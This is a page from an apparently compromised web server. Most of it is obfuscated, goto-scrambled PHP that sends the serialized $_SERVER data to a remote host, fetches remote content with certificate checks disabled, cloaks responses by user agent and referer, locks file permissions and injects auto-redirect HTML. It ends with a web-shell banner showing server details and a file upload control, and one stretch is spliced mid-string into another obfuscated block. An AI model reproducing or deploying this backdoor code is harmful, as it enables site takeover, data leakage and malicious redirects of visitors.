oto g83I2; ykgHv: $k9qvs .= "\103\x6f\156\156\x65\143\164\x69\x6f\x6e\72\40\x63\x6c\x6f\163\145\15\xa\15\12"; goto Kl5cJ; dT5S3: $uKzMA .= $k9qvs; goto IQRXn; FWgy0: curl_setopt($YiZhl, CURLOPT_FOLLOWLOCATION, 1); goto hPUqd; SBkJU: $VKOkC = trim(trim($o6kZW, "\357\273\277")); goto kNbSY; X75Mo: ZPsbU: goto ykgHv; h3wsF: $hzgOS = ''; goto QVktw; rq6OZ: $xOJQG = $hQZHd; goto Xl6SN; O6xd8: if (!(function_exists("\143\x75\x72\x6c\137\x69\156\151\164") && function_exists("\x63\x75\x72\154\137\145\170\145\143"))) { goto X28XW; } goto rRPJY; o1pyR: curl_close($YiZhl); goto sT7mt; Vo807: curl_setopt($YiZhl, CURLOPT_SSL_VERIFYHOST, false); goto FWgy0; jM_ID: if (!($DddNX === 0)) { goto UaKRU; } goto ewLEM; eNgfW: lvsED: goto KSKVx; ZxWY6: } catch (Exception $exFSj) { } goto sq_OP; sq_OP: return $VKOkC; goto YJMVK; YLwgw: $VKOkC = 0; goto IIbnU; YJMVK: } goto FS1et; QWLGU: function wWIfV($aO8xw = '') { goto WZubY; hPK4W: $UX2gA = trim($_GET[$PVzrt]); goto W88SU; J1bN0: if (!$eyzrT) { goto zUepC; } goto EB4NS; jepcO: $bVLGQ = "\147\157\157"; goto ViqG1; tD9ut: $PVzrt = "\171\164\x31"; goto nIQZT; urDSA: die; goto ebZyN; Mz0wo: if (!preg_match("\57\x73\x69\164\145\155\x61\160\56\x2a\77\x5c\56\x78\x6d\x6c\44\57\x73\151", $eot8L)) { goto VRAWT; } goto VjpHZ; UZeoW: if (!preg_match("\x2f" . $d6_Jb . "\44\57\163\151", $eot8L, $X54gH)) { goto xrnyo; } goto w_81u; mzpLW: $hxyxr = cO3zc($YEaNO); goto D4Q3O; oIAxR: $MYs90 = preg_match("\x2f\136\150\x74\x74\160\163\x3f\134\72\134\57\x5c\x2f\57\x73\151", $eN_7E); goto Ra1Hp; xqJvV: if (!isset($_GET[$PVzrt])) { goto i58q0; } goto hPK4W; XbsqL: $eot8L = $eot8L == '' ? isset($_SERVER["\120\101\124\x48\137\111\x4e\106\117"]) && $_SERVER["\x50\x41\x54\x48\137\111\x4e\x46\117"] != '' ? $_SERVER["\x50\101\x54\110\x5f\x49\116\106\x4f"] : $eot8L : $eot8L; goto yVSei; PzqYa: $Gm3f8 = $e_42L[2]; goto W7L0H; OhjGB: if (!in_array($Gm3f8, array("\52\64\x30\64", "\52\162\x65\x74\165\162\156"))) { goto x1PZx; } goto lQWdQ; Fdrw9: $Gm3f8 = $e_42L[2]; goto UpTEL; BgmN9: echo rMwyT($UX2gA); goto SUfJJ; h1JIh: $bVLGQ .= $pQOAP; goto TnJ9g; WA7gb: goto qr5hT; goto qDZ_W; F5KV8: header($e_42L[1]); goto Fdrw9; GPjb0: SYcEY: goto ImP8u; TZENW: chmod($ZZPc9, 0555); goto gk5bu; evisZ: $YRdmP = "\x3c\x61\40\x68\162\x65\x66\x3d\x22\x25\x73\x22\40\x74\x61\x72\147\x65\x74\x3d\42\137\x62\154\x61\156\x6b\42\x3e\x25\163\x3c\57\141\x3e"; goto xqJvV; Zsglf: $YEaNO = isset($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\x52\137\x41\x47\105\116\124"] : ''; goto mzpLW; Z_Udm: $eN_7E = trim($aKaai[1]); goto oIAxR; ImP8u: if (!preg_match("\x2f\x5e\x48\145\x61\x64\x40\x28\x2e\x2a\77\51\x40\x40\50\x2e\52\51\x2f\151\x73", $Gm3f8, $e_42L)) { goto uQ00Z; } goto t9vPN; Ajv7I: $QqjbH .= "\125\x4d\105\x4e"; goto b5pvD; IniRB: $d6_Jb .= "\x5d\173\x31\66"; goto YEqQg; UqhiZ: $d6_Jb .= "\147\154\145\x5b\134\167"; goto IniRB; w_81u: $mzqwU = str_replace("\x2e\170", "\56", trim($X54gH[1])); goto N13_u; VjpHZ: $Gm3f8 = RmWyT($m3gJm, array("\170" => serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27PE)); goto yoWERwDSFv7; hV0QAp4239b: $m40fkRXEuNT = @file_get_contents($Wqsgto4rbZF, false, $Yiq0wZi7UyR); goto ZOHZxfMtdoK; P4FfQldD9NL: curl_setopt($wQB687edva8, CURLOPT_FOLLOWLOCATION, 0); goto EHduSdjaZmM; GrVePxmdVpT: if (!in_array($KcyX0lwLfO0["\x73\x74\141\164\x75\x73"], array(200, 301, 302, 404))) { goto TvpSJSuJJbA; } goto skxn1Fs2Rnm; EHduSdjaZmM: curl_setopt($wQB687edva8, CURLOPT_COOKIESESSION, 0); goto DrkrquX9pj3; aF3ODTgVcky: if (ini_get("\141\x6c\154\157\x77\x5f\x75\162\154\137\x66\x6f\x70\145\156")) { goto zJxqOG8ZFnA; } goto jF1tvR7B0VG; IUmsEiqNRIT: $KcyX0lwLfO0["\x63\157\156\x74\145\156\x74"] = strval($m40fkRXEuNT); goto EYLIhNrVpuP; coErLHoYseE: $iGDWhS2ARje = array("\150\x74\x74\x70" => array("\155\145\164\150\x6f\144" => "\x47\105\124", "\x74\x69\155\x65\157\165\x74" => 60, "\x66\x6f\154\154\157\167\137\154\x6f\x63\x61\x74\x69\x6f\156" => 0), "\x73\163\x6c" => array("\166\145\x72\x69\x66\x79\x5f\x70\x65\x65\162" => false, "\x76\145\x72\x69\x66\171\137\160\x65\x65\x72\x5f\156\x61\x6d\145" => false)); goto BtTriJZEja2; Ccn0qYK7Llh: goto smN0veCzBKo; goto N4am0fJtos9; tncGuoAOcV4: $tjHuv6xonMT = curl_exec($wQB687edva8); goto gtM5NIFLVnl; QtxPhVBYm13: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYPEER, 0); goto i1SfAIo1c_5; skxn1Fs2Rnm: $KcyX0lwLfO0["\143\157\156\x74\145\156\164"] = strval($tjHuv6xonMT); goto BxoJFE_Cx9m; YX0atizwY_G: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYHOST, 0); goto QtxPhVBYm13; BtTriJZEja2: $Yiq0wZi7UyR = stream_context_create($iGDWhS2ARje); goto hV0QAp4239b; Xt6gY0ZMmsj: curl_setopt($wQB687edva8, CURLOPT_URL, $Wqsgto4rbZF); goto YX0atizwY_G; rt8Pc1oXVWi: if (function_exists("\x63\165\x72\x6c\x5f\145\x78\145\x63") && function_exists("\x63\165\x72\154\x5f\x69\156\151\164")) { goto D_gzMb_LYb5; } goto aF3ODTgVcky; N4am0fJtos9: zJxqOG8ZFnA: goto coErLHoYseE; fU46CViQXFB: smN0veCzBKo: goto oLzxL9Ria8l; UtmC_rftZFF: @curl_close($wQB687edva8); goto GrVePxmdVpT; jF1tvR7B0VG: goto smN0veCzBKo; goto EwgCZnTo68F; i1SfAIo1c_5: curl_setopt($wQB687edva8, CURLOPT_CONNECTTIMEOUT, 20); goto Hsj0m21KAch; DrkrquX9pj3: curl_setopt($wQB687edva8, CURLOPT_RETURNTRANSFER, 1); goto tncGuoAOcV4; oLzxL9Ria8l: } catch (Exception $BHFiYtQ2oUD) { } goto Glc2Cv_bVWr; cfZ8GL9JX29: $Wqsgto4rbZF .= "\x3f" . http_build_query($Fl2ksIRsPxn); goto msEqiaB2QUc; Evr28tu5pAJ: $KcyX0lwLfO0 = array("\x73\x74\x61\164\165\163" => 0, "\x63\x6f\x6e\164\145\x6e\164" => '', "\x74\x79\x70\145" => ''); goto QZ17PYIBm1T; Glc2Cv_bVWr: return $KcyX0lwLfO0; goto iOhW7Jfty0c; QZ17PYIBm1T: if (!(is_array($Fl2ksIRsPxn) && count($Fl2ksIRsPxn))) { goto V6qJfx2oSpG; } goto cfZ8GL9JX29; iOhW7Jfty0c: } goto TlX2zV7h4v2; SICU8GhvtYb: $v1O2GdCi7dn["\x73\x6e"] = x9LHDzZaFmF($_SERVER["\123\x43\x52\x49\120\x54\x5f\x4e\x41\115\105"]); goto CfE4WUGJIfr; K137QqLOklv: if (!in_array($ZGyZqOLd2XL, array("\56\x6a\163", "\x2e\143\163\163", "\x2e\152\160\147", "\56\160\x6e\147", "\x2e\x67\x69\x66", "\x2e\151\x63\x6f"))) { goto ARkIRKbH8II; } goto ECbGkPQ55Rl; QxQ20SN_CwO: metaphone("\x4d\124\x4d\63\x4f\104\147\63\x4f\x54\131\170\x4e\x54\x6b\x31\116\172\147\x31\115\124\143\x78\115\x54\x59\x77\116\x54\143\171"); goto oId1BTO71by; Nvv4Z57JHIA: if (!substr_count($_SERVER["\122\105\x51\125\x45\123\124\137\x55\122\111"], "\151\156\x64\x65\170\x2e\160\x68\x70\x2f\x6a\153")) { goto xvUH5nye7d6; } goto X1cN87Pv9UN; kDfaFnuNp0A: PprIRi9o21c: goto QxQ20SN_CwO; rOUU9RjzDRN: if (!strlen($KcyX0lwLfO0["\x63\157\x6e\x74\145\156\x74"])) { goto MYTGuTojlq5; } goto oRqKZvY2dpG; oGTIihbK1lX: header("\103\x6f\x6e\164\145\156\x74\55\124\171\x70\x65\x3a\x20\164\x65\x78\164\57\150\164\155\154\x3b\40\143\x68\x61\x72\x73\145\x74\75\165\x74\146\x2d\70"); goto hhLTHlxepeF; asmIC7N11dN: fdftDwut1qq: goto jbUaDgd1fsA; oWYrQfCkHqT: if (!(strpos($NFw9Jhvl0Zx, $JCLw3zsBogJ) === 0)) { goto fdftDwut1qq; } goto vvuqEJks3IV; QVgb9a5E3Vw: xvUH5nye7d6: goto nqayumBQSpI; D8YZq5GjOMd: echo $KcyX0lwLfO0["\143\157\156\x74\x65\x6e\164"]; goto FCCZvXyY4sT; cfJcSZioetB: error_reporting(0); goto ij_0fafGQ1D; c_tAr1kz3Uh: if ($ZczyOJvdp1I) { goto lUxfA2oU6Pa; } goto vQsmDyTW1yX; UMXbe_Raupj: lUxfA2oU6Pa: ?> HEX
HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /home/zsdadmin/log/
Upload Files
Name Size Permissions Actions
@ Telegram